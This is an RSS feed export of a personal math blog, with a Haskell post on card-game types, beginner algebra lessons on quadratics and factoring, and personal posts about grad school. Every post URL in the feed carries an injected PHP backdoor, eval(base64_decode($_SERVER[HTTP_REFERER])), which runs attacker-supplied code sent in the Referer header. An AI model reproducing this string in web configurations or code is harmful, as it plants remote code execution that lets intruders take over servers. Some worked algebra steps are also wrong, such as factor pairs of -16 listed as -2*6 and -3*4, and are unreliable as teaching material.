<font color="cyan">&gt;</font>       fst_elt <font color="red">::</font> IRec' a b c <font color="red">-&gt;</font> b
<font color="cyan">&gt;</font>       snd_elt <font color="red">::</font> IRec' a b c <font color="red">-&gt;</font> c
<font color="cyan">&gt;</font>       cons2    <font color="red">::</font> a <font color="red">-&gt;</font> b <font color="red">-&gt;</font> c <font color="red">-&gt;</font> IRec' a b c
</pre>
<p>This class represents a more “Free” version of the other IndexedRecord class. In that, we don’t have to statically determine what the types of b and c are, they could be anything. In a sense, this is a pair-of-types type. With <code>a</code> as the constructor and <code>b, c</code> as the elements. The type of <code>a</code> is unimportant, except for construction, so consider:</p>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>instance</u></font> <font color="cyan">(</font>Show a<font color="cyan">,</font> Show b<font color="cyan">,</font> Show c<font color="cyan">,</font> IndexedRecord' a<font color="cyan">)</font> <font color="red">=&gt;</font> Show <font color="cyan">(</font>IRec' a b c<font color="cyan">)</font> <font color="green"><u>where</u></font>
<font color="cyan">&gt;</font>       show i <font color="red">=</font> <font color="cyan">(</font>show <font color="cyan">.</font> fst_elt <font color="cyan">$</font> i<font color="cyan">)</font> <font color="cyan">++</font> <font color="magenta">","</font> <font color="cyan">++</font> <font color="cyan">(</font>show <font color="cyan">.</font> snd_elt <font color="cyan">$</font> i<font color="cyan">)</font>
</pre>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>instance</u></font> IndexedRecord' () <font color="green"><u>where</u></font>
<font color="cyan">&gt;</font>       <font color="green"><u>data</u></font> IRec' () a b <font color="red">=</font> IRec' a b
<font color="cyan">&gt;</font>       fst_elt <font color="cyan">(</font>IRec' a <font color="green"><u>_</u></font><font color="cyan">)</font> <font color="red">=</font> a
<font color="cyan">&gt;</font>       snd_elt <font color="cyan">(</font>IRec' <font color="green"><u>_</u></font> b<font color="cyan">)</font> <font color="red">=</font> b
<font color="cyan">&gt;</font>       cons2 <font color="green"><u>_</u></font> a b <font color="red">=</font> IRec' a b
<font color="cyan">&gt;</font>
</pre>
<p>So if I write:</p>
<pre>
<font color="cyan">&gt;</font> foo <font color="red">=</font> <font color="cyan">(</font>cons2 () <font color="magenta">1</font> <font color="magenta">2</font><font color="cyan">)</font> <font color="red">::</font> <font color="cyan">(</font>IRec' () Int Int<font color="cyan">)</font>
</pre>
<p>Then I get the output:</p>
<pre>
<code>"1,2"
</code>
</pre>
<p>So this type is really just a very contrived implementation of the pair type, but it is useful to see that we can write these types to act on arbitrary values.</p>
<p>All that it interesting, but we don’t need it for HCard, in fact. All we need is a class like the first type. Viz:</p>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>class</u></font> <font color="cyan">(</font>Eq s<font color="cyan">,</font> Eq i<font color="cyan">,</font> Show s<font color="cyan">,</font> Show i<font color="cyan">)</font> <font color="red">=&gt;</font> Card_ex s i <font color="green"><u>where</u></font>
<font color="cyan">&gt;</font>       <font color="green"><u>data</u></font> CardT_ex s i <font color="red">::</font> <font color="cyan">*</font>
<font color="cyan">&gt;</font>       suit_ex           <font color="red">::</font> CardT_ex s i <font color="red">-&gt;</font> s
<font color="cyan">&gt;</font>       index_ex          <font color="red">::</font> CardT_ex s i <font color="red">-&gt;</font> i
<font color="cyan">&gt;</font>       construct_ex      <font color="red">::</font> i <font color="red">-&gt;</font> s <font color="red">-&gt;</font> CardT_ex s i
</pre>
<p>This is it, the crux of HCard, the Card class. Every playing card-like type instantiates this, and this is all I need to assume to give you free shuffling and dealing and permutation-irrelevant equality and all that lovely stuff. The fundamental realization is that about every Playing card implementation in a “finite” sense (that is, just implementing the French deck or whatever) is just a record type + some functions over it. This class neatly abstracts over it by indexing <em>all</em> of these types and creating a common interface to all of them. When we instantiate this class, we get a record, just like any other.</p>
<p>So the question remains, could we just do this with records instead? Well, short answer is yes, since classes are, in some sense, just glorified records. So let’s write an equivalent record type:</p>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>data</u></font> <font color="cyan">(</font>Eq s<font color="cyan">,</font> Eq i<font color="cyan">,</font> Show s<font color="cyan">,</font> Show i<font color="cyan">)</font> <font color="red">=&gt;</font> CardRec s i <font color="red">=</font> CardRec <font color="cyan">{</font> suitR <font color="red">::</font> s<font color="cyan">,</font> indexR <font color="red">::</font> i <font color="cyan">}</font>
<font color="cyan">&gt;</font>       <font color="green"><u>deriving</u></font> Eq
</pre>
<p>This certainly seems simpler, we even get to use “deriving” to save us the Eq instance we would have had to write when using associated types. <code>construct</code> in this case is <code>CardRec</code>, but we have some problems, let’s try writing an equivalent type to “Classic”:</p>
<pre>
<font color="cyan">&gt;</font> <font color="green"><u>type</u></font> ClassicRec <font color="red">=</font> CardRec Suit Index
<font color="cyan">&gt;</font> con <font color="red">::</font> Suit <font color="red">-&gt;</font> Index <font color="red">-&gt;</font> ClassicRec
<font color="cyan">&gt;</font> con <font color="red">=</font> CardRec
</pre>
<p>The first thing we can note is that we would have to use <code>CardRec</code> as <code>construct</code>, there do come some issues of where we place type signatures as well, but in general, there really is no difference between the record implementation and the associated type implementation. So now the question, why bother with the fancy method?</p>
<p>Well, mostly because it’s cool, but also because it is <em>really</em> cool. If you can think of a better reason, good for you, leave a comment. <img src='http://lowlymath.net/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>In any case, check out the HCard code here [2], and on hackage here [3]. It’s pretty easy to use, and a good place to start if you’re an intermediate haskell hacker like myself.</p>
<p>I &lt;3 patches!</p>
<p>[1] http://en.wikipedia.org/wiki/Cribbage [2] darcs get http://patch-tag.com/publicrepos/HCard<br />
[3] http://hackage.haskell.org/cgi-bin/hackage-scripts/package/HCard</p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2009/04/07/card-games-scorekeeping-and-associated-datatypes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Basic Math: Algebra 102</title>
		<link>http://lowlymath.net/2009/03/28/basic-math-algebra-102/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2009/03/28/basic-math-algebra-102/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 28 Mar 2009 08:18:15 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[Math]]></category>

		<guid isPermaLink="false">http://lowlymath.net/2009/basic-math-algebra-102/</guid>
		<description><![CDATA[Last time we got all the way to very basic quadratic equations. I didn&#8217;t tell you they were quadratics, we just did them. This week, we&#8217;ll take about quadratics in much more detail, describing three different methods to solve them, and why you might want to use any given method at any given time.

First though, [...]]]></description>
			<content:encoded><![CDATA[<p>Last time we got all the way to very basic quadratic equations. I didn&#8217;t <em>tell</em> you they were quadratics, we just did them. This week, we&#8217;ll take about quadratics in much more detail, describing three different methods to solve them, and why you might want to use any given method at any given time.</p>
<p><span id="more-42"></span></p>
<p>First though, let&#8217;s get the answers to last weeks questions recall:</p>
<p>In all three, solve for x, they rank from easiest to hardest:</p>
<ol>
<li>8x + 1 = 17</li>
<li>2(9x + 4y) = (18 + 16y)/2</li>
<li>10x^2 + 6 = 1006</li>
</ol>
<p>The first one is easy. We want to subtract 1 from both sides, then divide by 8, doing so we get x = 17-1/8 = 16/8 = 2.</p>
<p>The second one iss a bit tougher, the trick is to do some simplification to make things easier, remember how we talked about factoring? Well, if you look at the right-hand-side (the RHS, in math-speak), you&#8217;ll notice that the two numbers in the parenthesis have the form k*n + k*m, where k = 2, so we can factor out a 2 on the RHS to get:</p>
<ul>
<li>2(9x + 4y) = 2(9 + 4y)/2 = 9 + 4y</li>
</ul>
<p>Now if we multiply the 2 through the left-hand-side (LHS), we see a much simpler equation than what we started with, and one that is easily solved, to boot.</p>
<ul>
<li>2(9x + 4y) = 18x + 8y</li>
<li>18x + 8y = 9 + 4y</li>
<li>18x + 8y - 4y = 9</li>
<li>18x + 4y = 9</li>
<li>18x = 9 - 4y</li>
<li>x = (9 - 4y)/18</li>
</ul>
<p>This seems weird, because we still have y&#8217;s in the equation. Thats okay, what that means is that there are possibly many values of x. Indeed, in this case, there are an <em>infinite</em> number of possible values of x, we call the variable &#8216;y&#8217; here a &#8220;free variable&#8221;, since it can equal anything. Free variables come up alot in a type of math called &#8220;Linear Algebra&#8221;, but thats a story for another day.</p>
<p>One more note, though- if we added the restriction that x be an Integer &#8212; that is, x have no fractional part, it must be a whole number &#8212; are there still infinitely many solutions? The answer is yes- see if you can figure out what value you could replace for y, so that x is an integer- then try putting in that value times some arbitrary integer, is x still an integer?</p>
<p>The last one is actually pretty simple, lets just jump in:</p>
<ul>
<li>10x^2 + 6 = 1006</li>
<li>10x^2 = 1006 - 6 = 1000</li>
<li>x^2 = 1000 / 10 = 100</li>
<li>sqrt(x^2) = sqrt(100)</li>
<li>x = +/- 10</li>
</ul>
<p>Pretty straightforward, the hard part there was remembering that -10 is as valid as +10 when answering this question. Also note that, here, x can have more than one answer too, but unlike the above, the number of anwers is <em>finite.</em></p>
<p>&nbsp;</p>
<hr />
<p>&nbsp;</p>
<p>Onto Algebra!</p>
<p>So- what is a quadratic equation? I snuck them in on you last time- but lets start from scratch. To learn what a quadratic is, we should first look at a general polynomial. Before you get to worried that I&#8217;m going to bust out the higher math on you, fear not, a general polynomial is something you&#8217;ve seen before- just with a few extra letters instead of the numbers you&#8217;re used to:</p>
<ul>
<li>ax^n + bx^(n-1) + &#8230; so on all the way down to &#8230; + yx + z</li>
</ul>
<p>Things to note: I used a,b,c&#8230; here to give names to the coefficients of x (coefficient just means &#8220;the thing that multiplys with), but I&#8217;m not limited to 26 coefficients, I can have as many as I want, even and infinite number of them. I just didn&#8217;t want to overload you by using the more common subscript method. Also, I used ellipses to shorten the amount I have to write, in fact &#8212; since <em>n</em> here is any arbitrary integer number, I had to use ellipses, because I didn&#8217;t know how much I needed to write. I put the definition of the ellipse in mathematics in the actual definition above, from now on though, &#8220;&#8230;&#8221; will be pronounced &#8220;so on all the way down to&#8221; when read in a context like the above, and be called &#8220;dots&#8221; by me in the text, because spelling ellipses is a pain[1].</p>
<p>So- let&#8217;s give some names to things in the polynomial. We already know that a,b,c&#8230; are the &#8220;coefficients&#8221; of the polynomial. We&#8217;ll also call &#8220;x&#8221; the &#8220;variable&#8221; of the polynomial. The coefficients are constants, that is- they don&#8217;t change in the final result. Sometimes they&#8217;re called the &#8220;coefficients of x&#8221; (substitute whatever the variable of the polynomial is for x there). We&#8217;ll also call this whole polynomial &#8220;monovariadic&#8221;, which is a fancy way to say &#8220;a polynomial with only one variable.&#8221; With those names, we&#8217;ve accounted for everything but the &#8220;n&#8221;, We call this the &#8220;degree&#8221; of the polynomial. That is, the degree of any polynomial is the value of the highest exponent in the polynomial. In our general case, thats &#8220;n&#8221;, but sometimes it&#8217;s a bit more hairy. Notice also that the last two terms in the polynomial (a term is anything in between plus-signs, in this case), don&#8217;t have exponents. Thats okay, they really do have them, they&#8217;re just hidden. It would be equally well to write &#8220;&#8230; yx + z&#8221; as &#8220;&#8230; yx^1 + zx^0&#8243;. The first term, &#8220;yx^1&#8243;, there shouldn&#8217;t bother you, since the definition of an exponent like &#8220;k^j&#8221; is &#8220;k times itself j times&#8221;, so this just means the product of x with itself once, which is just x. The second one might trip you up, and it will be explained in the future, I promise, but for now, just trust me when I say that, for any k, &#8220;k^0 = 1&#8243;.</p>
<p>So, why talk about degrees and coefficients and confusing exponents? Well, it makes it <strong>really</strong> easy to define quadratics. Heres the definition:</p>
<ul>
<li>A quadratic polynomial is any polynomial with degree equal to 2.</li>
</ul>
<p>Yep, thats it. Not so scary, It just says if the highest power in our polynomial is 2, then we have a quadratic.</p>
<p>Thats all.</p>
<p>So why are these things important? Well, for one thing, they&#8217;re freaking <em>everywhere</em>, quadratics come up more often than any other type of equation in everything from statistics to physics to differential equations to, well, they&#8217;re everywhere. Also, the express a fundamental idea of mathematics, things can sometimes have more than one solution. Quadratics, in fact, are equations with at most two solutions[2]. I&#8217;ve mentioned that I&#8217;ve already introduced a simple form of quadratic equation, namely:</p>
<ul>
<li>kx^2 = j</li>
</ul>
<p>We can actually solve this in the general sense, we just divide by &#8220;k&#8221; on both sides, then take the square root of both sides, and then we get:</p>
<ul>
<li>x = +/- sqrt(j/k)</li>
</ul>
<p>Which is nice, but this is, like I said, a very simple quadratic, a more common version is:</p>
<ul>
<li>ax^2 + bx + c</li>
</ul>
<p>Which is a bit harder to solve. Notably, this is a quadratic polynomial, it&#8217;s not an equation, because we&#8217;re not equating anything. A quadratic <em>equation</em> looks like:</p>
<ul>
<li>ax^2 + bx + c = k</li>
</ul>
<p>but we can note that since c and k are both constants which are &#8220;naked&#8221; (they aren&#8217;t multiplying any variables), we could write this like:</p>
<ul>
<li>ax^2 + bx + (c-k) = 0</li>
</ul>
<p>which, since c-k is also a constant, we can just say we have:</p>
<ul>
<li>ax^2 + bx + c&#8217; = 0</li>
</ul>
<p>with c&#8217; = c-k, so in general, we just drop the prime and set things to zero.</p>
<p>The obvious question that comes up, is how should we solve for x? To see the importance of this, consider the following word problem:</p>
<blockquote>
<p>Jake the bear is a mathematician. He loves fish, but is also a bit of an oddball, he will only ever eat an amount of fish each week which can be arranged in rectangles which have two fewer columns than rows, or vice versa. Also, Jake must eat exactly 16 fish per week, or else he gets terribly hungry and becomes quite grumpy. Can our oddly picky bear meet these strict dietary rules?</p>
</blockquote>
<p>Disregarding the sillyness of such a story, lets see what this really asks. First, Jake must eat 16 fish, that tells us that the area of the rectangle must be 16. Second, we know that one side of the rectangle is equal to the other less 2. Finally, we know that the area of a rectangle is equal to the product of the lengths of it&#8217;s sides. All this information together gives us the following.</p>
<ul>
<li>s,t are the sides of the rectangle, A is it&#8217;s area</li>
<li>A = 16</li>
<li>A = s*t</li>
<li>s = t - 2</li>
</ul>
<p>Now we can use that to come up with the following equation:</p>
<ul>
<li>A = 16 = s * t</li>
<li>16 = (t - 2) * t</li>
<li>t^2 - 2t = 16</li>
<li>t^2 - 2t - 16 = 0</li>
</ul>
<p>Hey, look, a quadratic equation! How do we solve it? Well, first lets try to figure out what the equation is asking. If we think about it, all an equation means is &#8220;find a value for each of the variables such that the LHS and the RHS are the same number.&#8221; We could try by exhaustion, but that&#8217;s not satisfying, or even possible. There are an infinite number of possible choices! There has to be a better way&#8230;</p>
<p>There are, in fact, several ways &#8212; we&#8217;ll talk about two, one this time, and one next time. This week, we&#8217;ll talk about the factoring method. It&#8217;s considerably weaker &#8212; in the sense that while it can solve any polynomial[3], it&#8217;s pretty difficult to do so. The fundamental notion is this.</p>
<p>We know from our early days that every number can be <em>factored</em>, that is, any number can be split into a unique product of prime numbers. For instance, 24 = 2*2*2*3, and no other number have that same factoring. Can we do the same with quadratics? The short answer is, &#8220;yes&#8221;. In fact, what we&#8217;re looking for is, in a sense, factors of zero. In general arithmetic, I know that if ab=0, then either a or b must be equal to 0; mathematicians call this the &#8220;Zero Product Property&#8221;. If we can write a quadratic as the product of two smaller polynomials (in the sense that they have a smaller degree), then we can break that product into two equations, which we can then solve one by one.</p>
<p>Consider a general case, we know that we want to break the product into two polynomials of lesser degree. Since a quadratic has degree 2, then the polynomials we want must have degree 1. Also, if you don&#8217;t mind taking my word on it, the product of two polynomials of degree 1 is a polynomial of degree 2.[4] So we can write a general form of the solution to a quadratic equation as follows:</p>
<p>Let ax^2 + bx + c = 0 be an arbitrary quadratic.</p>
<p>we can make the first coefficient (a) equal to 1 by dividing the whole thing by a. Letting b&#8217; and c&#8217; be b/a and c/a resp. we get:</p>
<p>x^2 + b&#8217;x + c&#8217; = 0</p>
<p>We call quadratics of this form &#8220;monic&#8221; (because their first coefficient is one).</p>
<p>Now, obviously any quadratic can be written as a monic quadratic, so then like r and s be any old coefficients and consider the product:</p>
<p>(x + r)(x + s) = 0</p>
<p>Since this is the product of two polynomials of degree 1, it must have degree 2, so it&#8217;s a quadratic. We know that multiplication distributes over addition/subtraction so doing so we get:</p>
<p>(x+r)x + (x+r)s = x^2 + rx + sx + rs = 0</p>
<p>or</p>
<p>x^2 + (r+x)x + rs = 0.</p>
<p>Now, we know that two polynomials are only equal if they&#8217;re coefficients are equal[5] So let b&#8217; = (r+x) and c&#8217; = rs, then we know we can factor the general polynomial to the form:</p>
<p>(x+r)(x+s) = 0</p>
<p>By the zero-product property, we know then that either (x+r) = 0 or (x+s) = 0 (or both). so either x = -r or x = -s, so we solved the quadratic equation!</p>
<p>So, turn this idea around. If we can find two numbers, r and s, such that the second and third coefficient of a monic quadratic satisfy:</p>
<p>b = r+s</p>
<p>c = rs</p>
<p>Then we can factor that quadratic! Applying this to our problem about Jake, we can try to find values of r and s for b=-2 and c=-16. Since we know c = rs, then we know that r and s will be <em>factors</em> of c. So it helps to list the factor-pairs of c, they are:</p>
<p>c = -1*16, -2*6, -3*4, 1*-16, 2*-6, 3*-4</p>
<p>so (r,s) = (-1,16) or (-2,6) or (-3,4) or (1,-16) or (2,-6) or (3,-4)</p>
<p>Now we need to find which one satisfies -2 = r + s, obviously the ones with 16 are out. Let&#8217;s just try the other 4:</p>
<ul>
<li>
<div>(r,s) = (-2,6). Then r+s = -2 + 6 = 4, no dice. </div>
</li>
<li>
<div>(r,s) = (2,-6) =&gt; r+s = 2 - 6 = -4, nope.</div>
</li>
<li>
<div>(r,s) = (-3,4) =&gt; r+s = -3 + 4 = 1, nope.</div>
</li>
<li>
<div>(r,s) = (3,-4) =&gt; r+s = -1, nothing.</div>
</li>
</ul>
<p>So there&#8217;s no way Jake can catch 16 fish per week and arrange them in the way he likes.</p>
<p>I&#8217;ll leave you with another word problem for next time.</p>
<blockquote>
<p>Jake is back, grumpy that he can&#8217;t arrange his fish in the appropriate shape. He&#8217;s reworked his routine a little. He&#8217;s okay with eating 24 fish a week &#8212; he&#8217;s willing to gain the weight&#8230; Can he arrange them the way he likes to now?</p>
</blockquote>
<p>Also, one other problem, should that prove too easy. Try to come up with a similar set of equations, but for triadic equations &#8212; those involving polynomials of the form:</p>
<p>ax^3 + bx^2 + cx + d = 0</p>
<p>Hint: Think about the product of a polynomial of degree 1 and a quadratic.</p>
<p>&nbsp;</p>
<p>[1] If I slip up and call them &#8220;ldots&#8221;, you&#8217;ll have to forgive me, in the typesetting language called &#8220;TeX&#8221; (pronounced &#8220;tek&#8221;) &#8220;\ldots&#8221; is the command to insert a series of nicely formated ellipses. Next time you want to sound cool around your math friends- try peppering your conversation with that. You&#8217;ll get some good reactions, I bet.</p>
<p>[2] This is a bit of a fudge, there are guarenteed to be at most two solutions, assuming you&#8217;re working in the Complex number system. Sometimes there will only be one solution in the Reals, and the other will be a complex number, but I digress.</p>
<p>[3] Again, a bit of a fudge, it can solve any polynomial assuming we allow for complex roots.</p>
<p>[4] In general, the product of two polynomials of degree n,k resp. is a polynomial of degree n+k</p>
<p>[5] Well, <em>I</em> know that, and now you do to. <img src='http://lowlymath.net/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2009/03/28/basic-math-algebra-102/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Grad School Tags</title>
		<link>http://lowlymath.net/2008/09/08/grad-school-tags/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2008/09/08/grad-school-tags/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 04:39:54 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<guid isPermaLink="false">http://lowlymath.net/2008/grad-school-tags/</guid>
		<description><![CDATA[You can see all the various sites I&#8217;ve bookmarked about Gradschool @:
http://feeds.delicious.com/v2/rss/jfredett/gradschool 
&#160;
It&#8217;s an RSS feed, but also the only sane url-link to the specific tag. It&#8217;s just my del.icio.us space under the tag &#8220;gradschool&#8221;
]]></description>
			<content:encoded><![CDATA[<p>You can see all the various sites I&#8217;ve bookmarked about Gradschool @:</p>
<p><a href="http://feeds.delicious.com/v2/rss/jfredett/gradschool">http://feeds.delicious.com/v2/rss/jfredett/gradschool</a> </p>
<p>&nbsp;</p>
<p>It&#8217;s an RSS feed, but also the only sane url-link to the specific tag. It&#8217;s just my del.icio.us space under the tag &#8220;gradschool&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2008/09/08/grad-school-tags/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Down the Graduate School Rabbit Hole</title>
		<link>http://lowlymath.net/2008/09/08/down-the-graduate-school-rabbit-hole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2008/09/08/down-the-graduate-school-rabbit-hole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 04:31:45 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<guid isPermaLink="false">http://lowlymath.net/2008/down-the-graduate-school-rabbit-hole/</guid>
		<description><![CDATA[So, I know my posts are quite sparse to begin with, and sporadic at that. But, sadly, I&#8217;m here to tell you, my faithful and equally sporadic readers, that problem will be getting worse.
Heres my situation, I transferred last year from one school (WPI) to another, cheaper school (WSC)[1]. In doing so, two things happened.

I [...]]]></description>
			<content:encoded><![CDATA[<p>So, I know my posts are quite sparse to begin with, and sporadic at that. But, sadly, I&#8217;m here to tell you, my faithful and equally sporadic readers, that problem will be getting worse.</p>
<p>Heres my situation, I transferred last year from one school (WPI) to another, cheaper school (WSC)[1]. In doing so, two things happened.</p>
<ol>
<li>I had to redo a fair deal of work. Many credits didn&#8217;t transfer, weren&#8217;t applicable, or became electives due to requirement differences</li>
<li>I suffered a bit of a blow to my now fragile GPA, I&#8217;ve had 10 classes so far, and due to the rapid change of material and teaching style, as well as the new stresses and frustrations of repeating much of what I already knew, or taking classes I had no interest in, I did not do very well in most of them. My GPA is a pitiful 2.6&#8230; (I got a <em>fuckload</em> of C&#8217;s.)</li>
</ol>
<p>Now, fortunately, I have good grades in my Core courses, most of the outliers (Philosophy excepted, I am stunningly good at that, it seems) are the ones that caused the brunt of the average-destruction. My hope is to pull these grades up with all my vigor. I have calculated that &#8212; in the 10-12 classes I have left, I need to get consisent B&#8217;s and B+&#8217;s to recover to a &#8220;safe&#8221; 3.2 or so (what I had when I left WPI). The various websites I&#8217;ve read say that this is a good average, and combined with me doing un-fucking-believable on the GRE&#8217;s, I should be able to get into a decent grad school.</p>
<p>I&#8217;ll try to keep Lowlymath.net[2] updated with my adventures in grad school application, and hopefully it will be a resource to anyone else hunting for graduate education.</p>
<p>No little thing like a bad GPA will keep me down, if necessary, I&#8217;ll take every math class WSC, WPI, and the rest of the consortium[3] offers to pull up my grade! Someday you&#8217;ll all be able to say &#8220;Whatsup Doc?&#8221; to me, and I will be quite pleased about it!</p>
<p>/Joe</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>[1] Thats Worcester Polytechnical Institute and Worcester State College, respectively.</p>
<p>[2] I&#8217;m actually posting to both blogs at once right now, so the Lowlymath Readers can just mentally replace &#8220;Lowlymath.net&#8221; with &#8220;this blog&#8221;</p>
<p>[3] The Consortium is a group of 6 schools which allow for &#8220;easy&#8221; crossregistration of classes and (supposedly) &#8220;easy&#8221; transfers between institutions. Though the latter is somewhat of a misrepresentation, given my experience.</p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2008/09/08/down-the-graduate-school-rabbit-hole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Evolve &#8212; The History Channel may have finally done something right.</title>
		<link>http://lowlymath.net/2008/07/30/evolve-the-history-channel-may-have-finally-done-something-right/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2008/07/30/evolve-the-history-channel-may-have-finally-done-something-right/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 30 Jul 2008 16:23:37 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://lowlymath.net/2008/evolve-the-history-channel-may-have-finally-done-something-right/</guid>
		<description><![CDATA[I just watched this show, on THC. I actually liked it, the title of the show was &#8220;Evolve&#8221; and it has to be the first show I&#8217;ve seen on THC that didn&#8217;t bugger up the science much at all. It was unabashedly pro-evolution, one of the biologists on the show (whose name escapes me) called [...]]]></description>
			<content:encoded><![CDATA[<p>I just watched this show, on THC. I actually liked it, the title of the show was &#8220;Evolve&#8221; and it has to be the first show I&#8217;ve seen on THC that didn&#8217;t bugger up the science much at all. It was unabashedly pro-evolution, one of the biologists on the show (whose name escapes me) called out the ID frakwittery without any qualms. It was fantastic.</p>
<p>Everyone should watch this show, Hold off on buying episodes till they air a few more, but I guarantee, if this is going to be the road the show takes, I&#8217;ll be buying a full season.</p>
<p>Fan-frigging-tastic.</p>
<p>&nbsp;</p>
<p>On another note, hopefully I&#8217;ll start being able to do some more blogging, I&#8217;ve been working on some videos, I&#8217;ve put a few up on the <a href="http://www.youtube.com/user/jfredett">tubes.</a> In any case, check it out, subscribe if you like, hopefully I&#8217;ll be internet-famous someday, like thunderfoot or edwardcurrent. <img src='http://lowlymath.net/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Oh, one more tube related thing. In case you people feel that I hate all religious people, you should check out DonExodus2 on the tubes, he&#8217;s a PhD biologist, anticreationist christian.</p>
<p>If all Christians were like DonExodus, I would be out of a job.</p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2008/07/30/evolve-the-history-channel-may-have-finally-done-something-right/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Basic Math: Algebra 101</title>
		<link>http://lowlymath.net/2008/06/02/basic-math-algebra-101/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://lowlymath.net/2008/06/02/basic-math-algebra-101/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 04:53:51 +0000</pubDate>
		<dc:creator>jfredett</dc:creator>
		
		<category><![CDATA[Math]]></category>

		<guid isPermaLink="false">http://lowlymath.net/2008/basic-math-algebra-101/</guid>
		<description><![CDATA[In High schools across the country, kids learn algebra. I know quite a few parents who have some big problems with algebra. For some, it&#8217;s just because it&#8217;s been a while since they&#8217;ve needed to use it, for others, it&#8217;s always been a hard thing, but it doesn&#8217;t have to be. In this post, I&#8217;ll [...]]]></description>
			<content:encoded><![CDATA[<p>In High schools across the country, kids learn algebra. I know quite a few parents who have some big problems with algebra. For some, it&#8217;s just because it&#8217;s been a while since they&#8217;ve needed to use it, for others, it&#8217;s always been a hard thing, but it doesn&#8217;t have to be. In this post, I&#8217;ll take you through some of the basic concepts of algebra as if you had never seen it before, it&#8217;ll be a bit of a whirlwind review of the idea, but (hopefully) written well enough so that someone who has never fully understood algebra. Oh, yes, by the way, there will be word problems. <img src='http://lowlymath.net/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span id="more-38"></span></p>
<p>Here&#8217;s the solution from last time.</p>
<p>Recall that the problem was to determine what score you would need on the new SATs to match your older brothers score of 1460 on the old SATs.</p>
<p>The first step is to realize that the old score is really 1460 out of 1600, or 1460/1600 = 146/160 = 73/80. We&#8217;ll call that number B, for &#8220;<em>B</em>rothers score.&#8221; Next, we need to realize that your score will be something out of 2400, we can write that as m = x/2400. The next step is to convert B to a percentage, and then we have the problem in a form we know, that of a &#8220;x percent of y&#8221; problem. Using the definition, we find that 73/80 is 91.25% of 80. So now we want to find 91.25% of 2400, using a calculator we find that this is: 2190.0 even, so you&#8217;d need to score 2190 to match your older brothers score.</p>
<hr />
<p>So what is algebra? Most people would answer, &#8220;That math with the letters in it.&#8221; But really, this is just what algebra <em>looks like</em>. Really, Algebra is about equalities, and specificly about equalities involving unknown numbers. To understand equalities, we need to name the two types, what I call &#8220;resolved equalities&#8221;, eg:</p>
<p>&#8220;x = 2&#8243;, &#8220;y = z&#8221;, or &#8220;x = 3/4 + 1&#8243;.</p>
<p>and &#8220;unresolved equalities&#8221;, eg:</p>
<p>&#8220;(x + y)*(x - y) = 2&#8243; or &#8220;x^2 + 2 = 4&#8243;</p>
<p>The basic idea is that, when you read the equality, if it looks like &#8220;&lt;some letter&gt; = &lt;any old expression&gt;&#8221; then it&#8217;s a resolved equality.</p>
<p>The neat thing about equalities is that you can substitute with them, in math, this is called the <em>transitive property,</em> it just means that if I know: &#8220;x = y&#8221; and &#8220;y = z&#8221;, then I can substitute &#8216;z&#8217; for &#8216;y&#8217; to get &#8220;x = z&#8221;. Simple enough.</p>
<p>The other idea that gives rise to algebra is the idea of unknowns, we&#8217;ve used them a bit already, but let me explain the motivation for them a little more.</p>
